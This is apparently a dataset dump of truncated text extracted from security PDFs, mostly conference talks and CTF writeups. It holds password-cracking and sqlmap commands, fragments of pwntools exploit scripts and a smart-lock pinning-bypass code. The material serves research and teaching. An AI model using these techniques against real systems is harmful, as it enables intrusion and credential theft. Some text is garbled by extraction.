text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
Security)Auditing)Mobile)Apps)
!
DEF)CON)23!
Sat.,)Aug)9,)2015)9C1!
Sam)Bowne)
City)College)San)Francisco!
Slides)and)projects)at)samsclass.info)
Adding&Trojans&to&Apps&
Slides'and'projects'at'samsclass.info'
Android&is&
• 80%&market&
share&in&2014&
– Link&Ch&4a&
Slides'and'projects'at'samsclass.info'
App&Signing&
... | pdf |
GSM: WE CAN HEAR EVERYONE NOW!
DEFCON 2019
Campbell Murray, Eoin Buckley
James Kulikowski, Bartek Piekarski
BlackBerry
© 2018 BlackBerry. All Rights Reserved.
2
AGENDA
• Slides detail a key vulnerability in GSM.
• Highlights derivation of indicator to exploit this vulnerability.
• Section 1: Concept Overview
• Section ... | pdf |
甲⽅方威胁情报杂谈
分享嘉宾
阿⾥里里安全 王伟 alert7
Who am I?
• Aka alert7 ,Xfocus核⼼心成员
• 曾McAfee⾼高级研究员
• 原翰海海源 联合创始⼈人&技术总监
• 微博 _alert7_
• 阿⾥里里安全归零实验室 功夫
议程
甲⽅方威胁情报的尴尬
甲⽅方情报能⼒力力成熟度模型
传统情报体系
情报的⼀一些特性
把威胁情报卖给甲⽅方
甲⽅方威胁情报的尴尬-现状的尴尬
2015年年圈内戏称威胁情报元年年，各⼤大
甲⽅方公司纷纷建⽴立威胁情报团队
2017年年年年尾，听说好多甲⽅方威胁
情报团队解散
价值衡量量的尴尬
正向业务（挣钱的）
负向业务（花钱的） ... | pdf |
ZCTF writeup
Nu1L
Misc:
Russian zips
我的世界的东西。。。
Zctf{4t1Ve_!}
Sign in
公众号回复 flag
misc400
stegsolve 看图片发现这个
文件末尾有一串 base64，解密得到一个损坏的压缩包 修复后解压。发现很多 txt，有一个
start，打开是乱码，但是看内容前几个字符，发现是 bz2 的文件头，把后缀改成 bz2 就可
以解压了，发现还有一个 txt 指向下一个 txt，于是，把所有的 txt 改成 bz2，在 windows
下批量解压，然后在 linux 下 cat 所有文件，直接得到了密码，然后解压 flag.rar 得到密
码
Web:
We... | pdf |
对URLDNS探测class的补充
问题
刚刚有个师傅私聊问到我这个问题，这⾥来谈⼀谈，当时⼤师傅的⽂章⾥确实也没提到这
⼀点
遗忘的师傅可以回顾下：https://gv7.me/articles/2021/construct-java-detection-class-deserialization
-gadget/
这个问题就是：为什么明明没这个类我在本地⽣成的时候明明没有这个类为什么还会收到
DNS请求
解决
在问题之前我们简单说下调⽤流程，⽅便简单会议下
将url与检测类分别放⼊HashMap的key/value
触发反序列化后先是恢复HashMap的key再恢复value
之后调⽤putVal时触发key的hashcode⽅... | pdf |
nmap -sC -sV 10.10.10.46
sudo zip2john backup.zip > hash
sudo john -w /usr/share/wordlists/rockyou.txt hash
//zip2johnziphashjohn
//wordlistskalirockyou.txt
hack the box——-Shield
0x00
sudo john --format=Raw-MD5 --fork=4 -w=/usr/share/wordlists/rockyou.txt hashmd5
//md5Raw-MD5
sudo sqlmap -r 46search.sql ... | pdf |
The follow steps can be used to bypass the certificate pinning used by the August Smart phone
app without needing to jailbreak the device.
Step 1: Open settings
Step 2: Press and hold the application version number.
Step 3: Enter "DreadfulDow" in the prompt. The prompt is case sensitive.
Step 4: Tap on https://api... | pdf |
MetaPhish
“PDF Infection, Web SpearPhishing, TOR abuse & communications”
http://www.attackresearch.com
_____________________________________
Val Smith (valsmith@attackresearch.com)
David Kerb (dkerb@attackresearch.com)
Colin Ames (amesc@attackresearch.com)
Page 1 of 26
Last modified: 06/27/2009
Contents
1 Introduction ... | pdf |
Backdooring the Frontdoor
Hacking a "perfectly secure" smart lock.
About me
●
Software Engineer by trade
●
Hacker by passion
●
Lock picker for fun
●
The best puzzles are not meant to be solved
●
Twitter: @jmaxxz
August Smart Lock
August's marketing
team
Source: august.com (August 17th, 2015)
"Unlike physical keys whic... | pdf |
Fast Forensics Using Simple
Statistics & Cool Tools
WHAT’S ALL THE FFUSS ABOUT?
Do You Hear What I Hear?
7/9/2013
Fast Forensics Using Simple Statistics & Cool Tools
2
Overview – What Can Us Defenders Do?
• Malware Effects
• What did the malware affect?
• Where are all the bad files?
• Did it modify the registry? Proc... | pdf |
What is the PACS-Man?
Tools of The Trade
How do we improve the
experience in the field?
Automation!
Demo Time
Contribute to Odo! (it’s a framework)
• Potential Credential Producers
• BLEKey
• ESP RFID Tool
• Wiegotcha
• Telephoto Lens + OCR
• Potential Credential Consumers
• Chameleon Mini
• Libnfc
• Emutag
• Support ... | pdf |
http://www.infobytesec.com
Francisco Amato / Federico Kirschbaum
evilgrade, "You STILL have pending
upgrades!“
Defcon 18 2010
http://www.infobytesec.com
Introduction
Topics
- Client side explotation
- Update process
- Poor implementation of update processes
- Attack ve... | pdf |
New Techniques for
Discovering Smart Device
Vulnerabilities
小灰灰 / Xiaohuihui
Baidu Security Lab Senior Security Researcher
30-May2019
2
Who am I
Senior Security Researcher at Baidu
Security Lab
Research areas: IoT security / AI security
/ autopilot vehicle security
Experienced hardware cracker
Previously Responsibl... | pdf |
1
中国实战化白帽人才能力
白皮书
2021.1
补天漏洞响应平台
奇安信安服团队
奇安信行业安全研究中心
i
专家点评
红蓝对抗和实战化渗透，近年来受到越来越多企业的重视，也成为企业安全体系建设不可
或缺的重要环节。尤其是每年的大型网络安全实战攻防演习更催生了行业对白帽子群体的
关注和需求，也对白帽子能力提出了更高的要求。补天的实战化白帽能力白皮书是一个很
好的行业尝试，可以作为白帽子群体能力发展的一个很好的参考，也可以为初学者答疑解
惑，指明方向。
Tencent Blade Team 技术负责人 张博(cradmin)
补天平台作为国内最大的漏洞平台，拥有超过 7.4 万名白帽子，每年发放超过数千万漏洞
... | pdf |
Do you like to read? I know how to take
over your Kindle with an e-book
Slava Makkaveev
How popular is Amazon Kindle?
10th Generation
■
Kindle Oasis
■
Kindle Paperwhite
■
Kindle
9th Generation
■
Kindle Oasis
8th Generation
■
Kindle Oasis
■
Kindle
7th Generation
■
Kindle Voyage
■
Kindle Paperwhite
■
Kindle
6th Generat... | pdf |
Intranet Invasion
Through Anti-DNS Pinning
David Byrne, CISSP, MCSE
Security Architect
EchoStar Satellite / Dish Network
David.Byrne@echostar.com
JavaScript Malware
• Cross Site Scripting (XSS)
• Port scanning
• Web site fingerprinting
• Cross Site Request Forgery (CSRF)
• Browser history theft
• Self-propagating w... | pdf |
function hooking
for osx and linux
joe damato
@joedamato
timetobleed.com
slides are on
timetobleed.com
(free jmpesp)
i’m not a security
researcher.
call me a script kiddie:
@joedamato
laughinglarry.com
slayerinc.com
dbgrady.files.wordpress.com
assembly is in att syntax
WTF is an ABI ?
WTF is an Application
Binary
I... | pdf |
http://Irongeek.com
Adrian Crenshaw
Project site:
http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
http://Irongeek.com
Tenacity Solutions
http://www.tenacitysolutions.net/
Kentuckiana ISSA
http://www.issa-kentuckiana.org/
PJRC
http://www.pjrc.com/
http://Irongeek.com... | pdf |
Unintended Consequences:
Four Years under the DMCA
1. Executive Summary
Since they were enacted in 1998, the “anti-
circumvention” provisions of the Digital Millennium
Copyright Act (“DMCA”), codified in section 1201 of
the Copyright Act, have not been used as Congress
envisioned. Congress meant to stop copyrigh... | pdf |
Through the Competitive World of Bug Bounty
Find Blue Oceans
Muneaki Nishimura (nishimunea)
Muneaki Nishimura (nishimunea)
Weekend Bug Hunter
Lecturer of Web Security of Security Camp in Japan
Weekend Bug Hunter
Lecturer of Web Security of Security Camp in Japan
Found 30 Bugs in Firefox
Received Reward of $70,000+ from... | pdf |
Do Not Trust the ASA, Trojans!
Jacob Baines
Lead Security Researcher, Rapid7
August 11, 2022
2
Introduction
Adaptive Security Appliance (ASA)
Original ASA
ASA-X
ASA-X with FirePOWER Services
3
ASAv Product Landing Page
Introduction
ASA Virtual Appliance (ASAv)
4
Firepower 9300 Series
Firepower 1000 Series
Firepower 210... | pdf |
Go Go Gadget Python
Nick Waite Furkan Cayçı
Hardware for software people
• Gadgets are cool
• Writing drivers is not so easy
– Usually done in C
– Requires knowledge of low-level interfaces
– Can easily crash your box
• Many devices do not need compiled drivers
– Low data rates
– libUSB and other abstraction layers
•... | pdf |
构建安全监控平台
lion_00
CCIE
2011年11月
CISSP 2013年4月
安全爱好者
关于我:
安全监控应该怎么做
开源/商业
大量的告警有人看吗
怎么才可以让告警准确一些
监控的范围以及层次
以核心资源为中心进行保护
尽量将所有边界囊括其中
一 网络层
数据源:出口流量镜像
IDS:suricata
简单展示界面:BASE 报表展示：SNORBY
网络IDS 起到了眼睛的作用，绝大多数攻击
可以通过编辑网络IDS的规则便可以发现，比如SQLMAP，
AWVS等等。
二 日志的存储与展示
数据源:出口流量镜像
将外部访问的HTTP/HTTPS数据从网络流量中提取出来，以便后续使用
三 访问日志(HTT... | pdf |
0x0000
they steal a way innocence and peace
tho i'm a king i'm a king on my knees
and i know they are wrong when they say i
am strong
as the darkness covers me
j knapp
remedial heap overflows
dlmalloc style buffer overflows
by atlas
atlas@r4780y.com
http://atlas.r4780y.com
0x0100 - Intro to Buffer Overflows
● gets() ... | pdf |
What To Do When Your Data Winds Up p
Where It Shouldn’t
Don M. Blumenthal
Defcon 16
Defcon 16
Las Vegas, Nevada
August 9 2008
August 9, 2008
© 2008 – Don M. Blumenthal
Disclaimer
Disclaimer
Opinions expressed are my own and
Opinions expressed are my own and
intended for informational purposes.
They should not be ... | pdf |
1
Attacking BaseStations
Hendrik Schmidt <hschmidt@ernw.de> / @hendrks_
Brian Butterly <bbutterly@ernw.de> / @BadgeWizard
2
Who we are
o
Old-school network geeks,
working as security researchers for
o
Germany based ERNW GmbH
o
Independent
o
Deep technical knowledge
o
Structured (assessment) approach
o
Business reasonab... | pdf |
Hacker in the Wires
Phil Polstra
Bloomsburg University of Pennsylvania
@ppolstra
http://philpolstra.com
What is this talk about?
● A hacking device that lives on a gigabit Ethernet wire
● Device is a CatchWire from WAW Technologies
● Running
● Multiple command & control / exfiltration options
– Network on which it is... | pdf |
XMPP Stanza Smuggling or How I Hacked Zoom
Ivan Fratric, Google Project Zero
BlackHat USA 2022
About the speaker
Ivan Fratric
●
Google Project Zero since 2016
●
Previously: Google Security Team, academia (Uni ZG)
●
Publishing security research for >>10 years
●
Author: WinAFL, Domato, TinyInst, Jackalope, …
●
Twitter: @... | pdf |
@Y4tacker
ROME改造计划
成果
从ysoserial原本的4000+缩短到1320（Base64+弹计算器）
写在前⾯
⾸先⾮常感谢这次的D^3CTF给我⼀次学习的机会，两个Java题都挺有意思学到了不同的东
西，因为第⼆个⽐较简单就不分享了，这⾥分享⼀下如何去缩短ROME利⽤链，本⾝我也是
之前没学习过ROME，这⾥以⼀个旁观者的视⾓来讲述好累，全篇没有各种⾼级技术不涉及
ASM 的改造，仅仅只是⼀些Trick和利⽤链的精简，同时⾮常感谢我的同学@HolaAs以及我的
朋友@风潇在我做题过程当中给我的帮助
简单分析
⾸先看看路由，很简单要求传⼊字符长度不超过1956
接下来免不了找依赖后⾯发现了ROME可以⽤，在ys... | pdf |
Career Mythbusters
Separating Fact from Fiction in your Security Career
Lee Kushner / Mike Murray
Lee@LJKushner.com / mmurray@episteme.ca
2
Who Are We?
•
Lee Kushner
–
Over 10 years of Success Recruitment of Information Security
Professionals
–
Founder and CEO of the Leading Information Security
Recruitment Firm, L... | pdf |
http://en.wikipedia.org/wiki/Cellular_frequencies
Your Weapons and Targets!
This will be updated onsite!!! | pdf |
反间谍计划：
⾃自建基站与数据嗅探⽅方法论
百度安全实验室 ⼩小灰灰
关于我
百度安全实验室 ⾼高级安全研究员
研究领域：IoT安全/AI安全/⽆无⼈人⻋车
安全
多次破解硬件设备
之前负责：
•
BSRC、应急处置、0day分析
•
百度产品 安全评估
•
百度安全监控体系建设
⼤大纲
• 联⽹网IOT设备测试⽬目的、测试⽅方法
• 如何实现⾃自动附着、MITM流量量
• 如何搭建LTE测试基站
• 漏漏洞洞实例例介绍
• 其他测试⽅方法
⽬目的及守则
• ⽬目的：
– 了了解GSM的安全⻛风险
– 通过搭建测试基站，辅助IOT设备安全漏漏
洞洞挖掘
– 增强产... | pdf |
青衣2 0 1 1 .0 8 .2 9
剑
客 世界的溯源神话
青衣2 0 1 1 .0 8 .2 9
💔 伤⼼心的鱼🐟
户实验室
程序猿🐒
渗透狗🐶
⿊黑阔杂志编辑👨
产品经理💻
销售💰
青衣2 0 1 1 .0 8 .2 9
何为溯源？
青衣2 0 1 1 .0 8 .2 9
何为溯源?⼀一个找爹的过程
⼀一定要给孩⼦子找到爸爸，
不能让他么有爹。
乔布斯⼤大神，完全就是《天龙⼋八部》中乔峰！都是自小没见过亲⽣生⽗父母，被平凡养
⽗父母带⼤大。少年成名，⼀一跃登顶。然后在世⼈人瞩目中，众叛亲离，含恨隐去……再
然后，王者归来，傲凌绝顶。最终，盛年之时，颠峰乐章戛然⽽而⽌止，留给世界⼀一片
惊愕。他俩共用⼀一个称谓：... | pdf |
macOS 从运行库劫持到内核提权
周智
About
• Senior Security Engineer of AntFinancial (Alipay)
LightYear Security Labs
• Product security and offensive security research
• Acknowledged by Microsoft, Apple, Adobe and
VMware for reporting security vulnerabilities
• Conference speaking:
• BlackHat USA 2017
• HITB 2019
• TyphoonCon 2019
... | pdf |
考勤机的管理方式
本
地
管
理
局
域
网
管
理
互
联
网
管
理
星耀实验室是斗象科技网络安全发展战略的重要组成，
星耀之名取自《山海经》中的星耀独角兽，实验室专
注于前沿创新的安全技术的研究，覆盖包括红蓝对抗、
漏洞挖掘、IoT及移动安全等各安全细分领域，通过研
究积累和内部研发，为公司安全能力支撑保驾护航。
设备的外部通信
从简化后的通信架构来看，我们对设备的漏洞
挖掘可以从设备与云端的通信、以及设备与用
户的通信这两方面入手
流量分析
设备启动后会主动连接到
tls.*****.com
但是没有校验
服务器的证书
流量分析
设备=>云端
云端=>设备
设备向云端上传了自身的信息，
包括固件版本和操作系统类型
云端返回的... | pdf |
Open Source Intelligence
Methods and Tools
A Practical Guide to Online
Intelligence
Nihad A. Hassan
Rami Hijazi
Open Source Intelligence Methods and Tools: A Practical Guide to Online Intelligence
ISBN-13 (pbk): 978-1-4842-3212-5
ISBN-13 (electronic): 978-1-4842-3213-2
https://doi.org/10.1007/978-1-4842-3213-2
Libra... | pdf |
4.1
Manual
Strategic Cyber LLC
(A HelpSystems Company)
www.cobaltstrike.com/
/
2/
Table of Contents
Table&of&Contents&..................................................................................................................................&2/
1.&Welcome&to&Cobalt&Strike&...................................... | pdf |
ICS 35.020
CCS
YD
中 华 人 民 共 和 国 通 信 行 业 标 准
YD/T 1756T—2018
[代替 YD/T]
研发运营一体化（DevOps）能力成熟度
模型 第 4 部分：技术运营
The Capability Maturity Model of DevOps Part 4 : Technical Operation
management
（送审稿）
（本稿完成日期：2019.6.20）
[××××]-[××]-[××]发布
[××××]-[××]-[××]实施
中华人民共和国工业和信息化部! 发 布
YD/T 1756T—2018
I
目 次
目 ... | pdf |
1
2
3
Reference: https://docs.microsoft.com/en-us/windows/win32/secauthz/how-dacls-
control-access-to-an-object
4
5
6
7
8
9
Reference: https://github.com/samratashok/nishang/blob/master/Backdoors/Set-
RemotePSRemoting.ps1
10
11
Reference - https://github.com/samratashok/nishang/blob/master/Backdoors/Set-
RemoteWMI.ps1
... | pdf |
Client-Side HTTP Cookie Security:
Attack and Defense
David Wyde
DEF CON 22
Game Plan
•
Why are HTTP cookies valuable to attackers?
•
How do popular web browsers store cookies?
•
How can cookies be stolen?
•
How can cookies be protected?
Disclaimers
•
The opinions in this presentation are mine, and not my... | pdf |
Blue Team Hell: A story of
ISPs, Healthcare, and
Education
Text
Amanda Berlin
@Infosystir
Blue team
started at ISPs
Healthcare
Purple team
Windows Admin
Network Security
Jack of all trades
very visual - All the memes!!
Text
Hot sauce for charity
that’s not Charity
Text
Adult Supervision Required
If you’re squeamish…... | pdf |
Hacking the Global Economy with GPUs
or How I Learned to Stop Worrying and Love Bitcoin
By Skunkworks
-First time DEFCON speaker and attendee
-Electrical Engineering Undergrad at a Major University
-Hardware Geek with diverse interests
-Not affiliated with Lockheed-Martin!
-Not affiliated with Bitcoin!
-Basic introduct... | pdf |
Security Measurement and Assuring
Reliability through metrics Technology
(
SMART)
Applying Reliability Metrics to
Security Vulnerabilities
Wayne Zage, Dolores Zage, Blake Self
Presentation Outline
1.
Background/overview of S2ERC
and design
metrics
2.
Vulnerability Analyses
Security and Software Engineering
Resear... | pdf |
ROARCTF WP By Nu1L
ROARCTF WP By Nu1L
Misc
Hi_433MHz
WEB
&Revenge
hackback
ezsql
HTML
PWN
easy_pwn
qtnc
2a1
RE
Singular DLP
steGO
slime_war
Crypto
ecdsa
Crypto_System
easyrsa
Misc
Hi_433MHz
WEB
&Revenge
http://47.104.232.98:36301/?url=file:///fl%2561g
import string
import sys
import requests
import time
payloads = stri... | pdf |
Web中间件常见漏洞总结
---by lyxhh
IIS
IIS是Internet Information Services的缩写，意为互联网信息服务，是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。
IIS目前只适用于
目前只适用于Windows... | pdf |
1
Half a Sheep is Better Than None
A great deal of the pleasure of reading “Project Halfsheep: or How the Agency’s Alien
Got High” by Susan Hasler comes from reading the novel on several levels.
One level is the story of an alien from the planet Utorb who crash lands on earth and falls
into the hands of the Ameri... | pdf |
这周末抽空写了写，之前知识星球宣传⾥⾯说要分享这个经验，很多⼈也是看了这个才加的，所以趁现在还记得就
先写出来。
时间在2020年，当时xray的反射型xss扫描很好⽤，于是想知道原理，好奇探索了下⼤概的xss扫描规则，在xss扫
描器成⻓记.md有讲述，xray会先发送⼀个随机字符串，根据在html/js中反射的位置构造⼀个⽆害的payload，判
断标签是否闭合就能判断出是否存在反射xss，后⾯验证的payload⾃⾏去构造就好了。
xray没开源，我就⾃⼰写⼀个了，然后加了⼀个爬⾍，⾃⼰爬⾃⼰扫，通过爬⾍的数据，发现很多地⽅还有可以优
化的地⽅，⼜看了⼀些公开的xss的报告，把很多奇葩条件下的xss扫描都加了进去。当时⾃⼰的机... | pdf |
Next Generation Collaborative
Reversing
with Ida Pro and CollabREate
Chris Eagle and Tim Vidas
Naval Postgraduate School
Shameless Plug
Coming soon
to finer
book stores
Defcon 16
CollabREate
3
Prepare for Demo
Defcon demo package
Compiled plugins
Plugin source
Binary for everyone to analyze
http://www.idabook.com/def... | pdf |
S-Mimikatz源码调试
前期准备
mimikatz源码：地址
调试环境： vs2019
几点设置：
1. 因为官方项目没有debug方案，所以需要手动添加debug配置
2. 项目属性配置
程序入口
调试以 privilege::debug 为例。打开调试-> mimikatz 调试属性->配置属性->调试->命令参数
wmain()是 mimikatz`的入口函数。
命令分发
从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数。
这里首先有一个 kull_m_file_fullPath 方法，然后进行匹配，暂时不知道具体作用是什么，之
后进入 mimikat... | pdf |
Technical Service Bulletin:
FXR-14
Modifying GE MVS VHF Group 2
150 – 174 MHz for
Amateur Radio Applications
in the 219 – 220 & 222 – 225 MHz Band
A FluX Research project in several
phases
Release Date: 04-01-2011
Last Update: v1.2 03-01-2011
By: Matt Krick, K3MK
matt@kgmn.net
Radio Model #:
GE MVS - NPFH3OSS
Warni... | pdf |
CSCS:
以技術力協助公民社會
的初次嘗試
Pellaeon Lin @ HITCON CMT 2017
pellaeon@ocf.tw
Human rights defenders
are the canaries in
the mine of
digital rights violations
and
cyber attacks
Human rights defenders?
- 生命權、財產權、獲公平審判權
- 免於酷刑和奴役
- 人身、思想、宗教、言論自由
- 性傾向與認同
- 網際網路、通訊
NGO
技術社群
Civil
Society
Cyber
Shield
NGO 面臨的資安威脅
- 釣魚、追蹤廣告、政府竊聽、翻牆... | pdf |
New Memory Forensics Techniques to Defeat
Device Monitoring Malware
Andrew Case, Gustavo Moreira, Austin Sellers,
Golden G. Richard III
andrew@dfir.org, gmoreira@volexity.com, asellers@volexity.com,
golden@cct.lsu.edu
April 4, 2022
1
Introduction
Malware that is capable of monitoring hardware devices poses a significan... | pdf |
我知道的与RMI相关的Everything
RMI (Java Remote Method Invocation) 是Java远程⽅法调⽤，是⼀种允许⼀个 JVM 上的
object 调⽤另⼀个 JVM 上 object ⽅法的机制。RMI 的本质是通过 socket 编程、Java 序列化
和反序列化、动态代理等实现的。
RMI 涉及注册中⼼、服务端和客户端。注册中⼼、服务端、客户端三者之间通信都会涉及序列
化传输⼆进制数据，有序列化，⾃然就会有反序列化。
先知图镇楼https://xz.aliyun.com/t/2223
⼀、搭建调试环境
1、创建远程⽅法接⼝
import java.rmi.Remote;
1
import ... | pdf |
EDR Is Coming; Hide yo
Sh!t
@TTimzen
@r00tkillah
Who are we?
Michael “@r00tkillah” Leibowitz
Topher Timzen (@TTimzen)
NSA Playset
C# Malware is <3
Principle Troublemaker Principal Vulnerability Enthusiast
RED TEAM ! ! ! !
Agenda
●
What is EDR and why... | pdf |
Introduction to Lockpicking
Alek Amrani
DEF CON 17
About Me
● Longhorn Lockpicking
Club
● UT Austin ISO
● CS Undergrad
Format
● First year with Thursday Events
● Long time slot
– People most likely will come and go
– Split time into three portions
● Originally intended to be “hands on” workshop-esc
– “Lost” bag
● Pick... | pdf |
Fasten your seatbelts:
We are escaping iOS 11 sandbox!
Min(Spark) Zheng & Xiaolong Bai
@ Alibaba Security Lab
Whoami
Alibaba Security
•
SparkZheng @ Twitter，蒸米spark @ Weibo
•
Alibaba Security Expert
•
CUHK PhD, Blue-lotus and Insight-labs
•
iOS 9.3.4 & iOS 11.3.1 OverSky Jailbreak (Private)
Alibaba Security
•
Xiaolon... | pdf |
2018 hitcon CTF
By Nu1L
https://ctf2018.hitcon.org/ 2018/10/20 02:00 UTC ~ 2018/10/22 02:00 UTC
PWN
children tcache
from pwn import *
#p=process('./child',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('54.178.132.125', 8763)
libc = ELF('./libc.so.6')
def add(size,data):
p.recvuntil('choice')
p.sendline('1')
p.recvun... | pdf |
Tomcat中表达式动态执⾏Java代码调试
最近在看表达式注⼊的东⻄，漏洞根源归根结底，应该是Java表达式功能强⼤，⽀持执⾏我们
注⼊的Java代码，这⾥觉得有必要代码调试下。因为表达式解析引擎有很多，我这⾥就⽤
Tomcat重点了，它⾥⾯包含了jdk下的 javax.el
就以这个demo为例，idea起简单的Java Web项⽬，修改index.jsp即可，这⾥注意⼀下搭建环
境需要修改下web.xml,在默认情况，Servlet 2.4 / JSP 2.0(以上)⽀持 EL 表达式。且在
index.jsp头部需加上<%@ page isELIgnored="false" %>
效果如下
${pageContext.req... | pdf |
spy
vs.
spy
examining
spyware
on
mobile
devices
michael
robinson
|
christopher
taylor
Zarious
@
zarious.deviantart.com
Introduc=on:
The
newest
spy
Spyware
can
easily
run
on
mobile
devices.
It’s
in
malware
and
its
commercially
available.
h... | pdf |
1
脱壳⼩⼦-java anti-decompiler保护脱壳
前⾔
脱壳思路
脱壳效果
开源地址
有⼀天，脚本⼩⼦想开发⼀个⼯具，但脚本⼩⼦⼜不想从头构思设计代码框架，就找找业界有没有
好的⼯具能不能抄抄。终于在脚本⼩⼦快乐星球⾥，找到⼀个看起来还不错的⼯具。但存在⼀个问题，
这个⼯具有代码保护壳。。。脚本⼩⼦本来想当裁缝⼩⼦的，可没想到还得先变成脱壳⼩⼦才⾏。
正⾯硬刚解密算法是⼀种思路，但所需要花费的时间太⻓，性价⽐不是很⾼，并且由于笔者太菜
了，浅尝了下，发现不太容易搞定。这⾥采⽤CSAgent的形式，通过注⼊⽬标程序，替换壳代码的解密
加载过程，直接将解密后的代码写到⽂件当中。
解密加载代码在JavaLauncherIde... | pdf |
Log4j2 JNDI
author: flagT
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (... | pdf |
rage against the
Suggy (AKA Chris Sumner), Online Privacy Foundation, DEF CON 25
Draft: V0.2 – Updated slides (with notes) will be available shortly after DEF CON
machine
2011
2011
2012
2011
2012
2013
2011
2012
2013
2016
1. Why are people so divided?
Nothing to Hide,
Nothing to Fear
BLACK
&
WHITE
Gr
Grey
Grey
Grey
Gre... | pdf |
Building a Public RPZ Service to
Protect the World’s Consumers
John Bambenek, Manager of Threat Systems
Fidelis Cybersecurity
The content of this presentation can be considered TLP:WHITE.
I will identify any specific data points I discuss that are more
sensitive and shouldn’t be disclosed as we go.
© Fidelis Cyb... | pdf |
A Dozen Years of Shellphish
From DEFCON to the Cyber Grand Challenge
Zardus
HEX on the beach
???
Giovanni Vigna
Christopher Kruegel
zanardi
void
UC Santa Barbara
zanardi
nullptr
void
balzaroth
sicko irish
SIMULATION
2004
UC Santa Barbara
nullptr zanardi
void
balzaroth
sicko irish
TU Vienna
void
engiman
pizzaman
SIMULAT... | pdf |
DEFCON XXI
How my Botnet Purchased
Millions of Dollars in Cars
&
Defeated the Russian Hackers
I want to tell you a story about...
● Hacking
● Cars
● Russian Hackers
● Screwing with the system
I want to tell you a story about...
● Commercial Botnets
● Creating competitive advantages
● Not using technology as d... | pdf |
那些年
知识星球运营分享
曹将
个人简介
曹将
畅销书《PPT炼成记》作者
世界500强企业总部培训负责人
自媒体平台详情：
•
公众号：曹将 —21万读者
•
微博：曹将PPTao —52万读者
•
知乎：曹将 —10万关读者
知识星球简介
星球
曹将和朋友们
成员数
5000+
核心成员
88
星球天数
1290
星球运营人数
1.5
巨坑
我是谁
WHO AM I
2016年
一次意外
2018年
转型
2019年
问题
2020年
清晰
有些话
只想跟你少数人说
转岗
时间不够用
招助理
我们的定位
到底是什么
WHO AM I
KP 关键合作伙伴
KA 关键活动
VP 价值主张
CR 客户关系
CS 目标客群
CH渠道
K... | pdf |
(Un) Fucking Forensics0
Ac#ve/Passive+memory+hacking/debugging+
+
K2+/+Director+@IOACTIVE+
hBps://github.com/K2+
+
About me?0
• Hacker+for+a+while+
• inVtero.net++
• Memory+analysis+framework+for+Windows++
• Super+fast/GBPS+throughput+
• Memory+integrity+checking+of+VM’s/CrashDumps/Memory++
• Type+aware+memory+ha... | pdf |
对 CVE-2022-39197 的曲折重现路
0x01 前言
之前看了@漂亮鼠大佬的文章《最新 CS RCE 曲折的复现路》，对文章的内容非常感兴
趣，但是大佬在文章中故意对关键利用链进行忽略，如图 1.1 所示，也勾起了大家浓烈的研
究兴趣。
图 1.1 大佬隐藏的关键利用链
本来以为按照大佬的提示这会是比较简单的一次复现，但是在实际过程中还是遇到很多
困难，可能这就是大佬和小弟的区别吧。非常感谢二哥@gainover 在复现过程中给予的指点
和帮助。
在阅读本文之前需要首先阅读原文，原文中很多内容已经很详细了，我会尽量不写原文
已经有的内容。算是完成大佬留下的课后作业吧。
0x02 初探
第一次准备寻找相应的利用... | pdf |
Eacoo Fullchain Exploit分析
Bug1: 登录绕过
登录绕过主要是框架的设计存在一些问题,可以通过构造cookie触发该逻辑漏洞,然后设置成指定uid登
录.触发的逻辑是使用user profile接口
关键点在于is_login()的逻辑
// apps/user/controller/Personal.php
public function profile() {
if(!is_login()){
$this->error('未登录');
}
if (IS_POST) {
/* 省略代码 */
... | pdf |
Some things about LAN device detection
(關於內網設備識別的二三事)
Canaan Kao, Terence Liu, Hsien-Wei Hung and Ryan Lung
canaan_kao@trend.com.tw
Network Threat Defense Technology Group
Trend Micro
2015/8/29
1
HitCon2015: LAN device detection
Who we are
• Network Threat Defense Technology
Group (NTDTG) of Trend Micro
– ... | pdf |
1
PEzor Bypass AntiVirus
前⾔
安装
常规使⽤
https://iwantmore.pizza/posts/PEzor.html
https://iwantmore.pizza/posts/PEzor2.html
https://iwantmore.pizza/posts/PEzor3.html
⽤docker的kali安装，使⽤起来⾮常⽅便快速。
复制进去，打包完成以后再复制出来。
前⾔
安装
常规使⽤
2
参数说明看readme https://github.com/phra/PEzor
常规重打包exe
1 PEzor.sh -format=exe /tmp/m.exe -z 2 -p '"log c:... | pdf |
1
从javac源码看Unicode编码绕过的原因
前⾔
搭建Javac调试环境
⽀持变形Unicode的原因
注释+换⾏绕过的原因
⼀个奇怪的发现
@yzddMr6
⼤家都知道jsp中可以⽤\uxxxx或者\uuuuuuxxxx这种格式来对恶意代码进⾏混淆，并且还可以⽤注
释+换⾏unicode的⽅式进⾏恶意代码的逃逸。那么是什么造成了这种情况呢，带着问题我们从Javac层
⾯看⼀看原因是什么。
使⽤源码来调试的原因主要是源码⾥有变量名以及注释等，⽅便理解。
git clone https://github.com/arthur-zhang/javac-source-code-reading
这个项⽬打开后⽆法直接使⽤，有... | pdf |
apache proxy
0x00
proxyapache
proxyPass /test/ "http://172.28.66.94/"
proxyPassReverse /test/ "http://172.28.66.94/"
ip/
url8000url
proxyPass /test/ "http://www.baidu.com"
proxyPassReverse /test/ "http://www.baidu.com"
URL /test/.cn
http://www.baidu.com.cn http://www.baidu.com.cn
dnsrebindssrf
0x01
mod_proxy.ca... | pdf |
▪
• Relatively Easy to Exploit
• Easily Automated
• Usually not monitored
▪
▪
▪
▪ Kerberos
▪ Kerberos Delegation
▪
▪ Focus on High Privileges
▪ Malicious JIT administration
▪
▪
▪
• Ticket based authentication protocol
Domain User
AS
TGS
KDC
TGT
TGS
LSASS (KERBEROS)
AES256
AES128
RC4
DES
ST
TGT
TGT
App Server
ST
▪
• W... | pdf |
[ 高效能人士的七个习惯 ]
————————————————————————————————————
————————————————————————————————————
~ 1 ~
封面
[ 高效能人士的七个习惯 ]
————————————————————————————————————
————————————————————————————————————
~ 2 ~
感谢
爱书网 www.ilovebook.cn
提供图书模板
[ 高效能人士的七个习惯 ]
————————————————————————————————————
——————————————————————————————... | pdf |
